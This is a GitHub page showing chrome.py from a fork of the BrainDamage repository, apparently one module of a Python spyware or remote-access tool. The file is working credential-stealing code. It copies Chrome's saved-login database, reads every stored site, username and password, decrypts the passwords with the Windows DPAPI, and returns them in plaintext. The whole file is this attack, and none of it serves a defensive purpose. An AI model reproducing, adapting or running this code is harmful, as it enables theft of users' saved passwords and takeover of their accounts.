forked from weiweidaolai212/BrainDamage
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathchrome.py
79 lines (61 loc) · 2.09 KB
/
chrome.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import sqlite3
import shutil
import win32crypt
import sys, os, platform
class Chrome():
def __init__(self):
pass
def run(self):
database_path = ''
if 'HOMEDRIVE' in os.environ and 'HOMEPATH' in os.environ:
# For Win7
path_Win7 = os.environ.get('HOMEDRIVE') + os.environ.get(
'HOMEPATH') + '\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data'
# For XP
path_XP = os.environ.get('HOMEDRIVE') + os.environ.get(
'HOMEPATH') + '\AppData\Local\Google\Chrome\User Data\Default\Login Data'
if os.path.exists(path_XP):
database_path = path_XP
elif os.path.exists(path_Win7):
database_path = path_Win7
else:
return
else:
return
# Copy database before to query it (bypass lock errors)
try:
shutil.copy(database_path, os.getcwd() + os.sep + 'tmp_db')
database_path = os.getcwd() + os.sep + 'tmp_db'
except Exception, e:
pass
# Connect to the Database
try:
conn = sqlite3.connect(database_path)
cursor = conn.cursor()
except Exception, e:
return
# Get the results
try:
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
except:
return
pwdFound = []
for result in cursor.fetchall():
values = {}
try:
# Decrypt the Password
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
except Exception, e:
password = ''
if password:
values['Site'] = result[0]
values['Username'] = result[1]
values['Password'] = password
pwdFound.append(values)
conn.close()
if database_path.endswith('tmp_db'):
os.remove(database_path)
return pwdFound
# tem = Chrome()
# a = tem.run()
# print a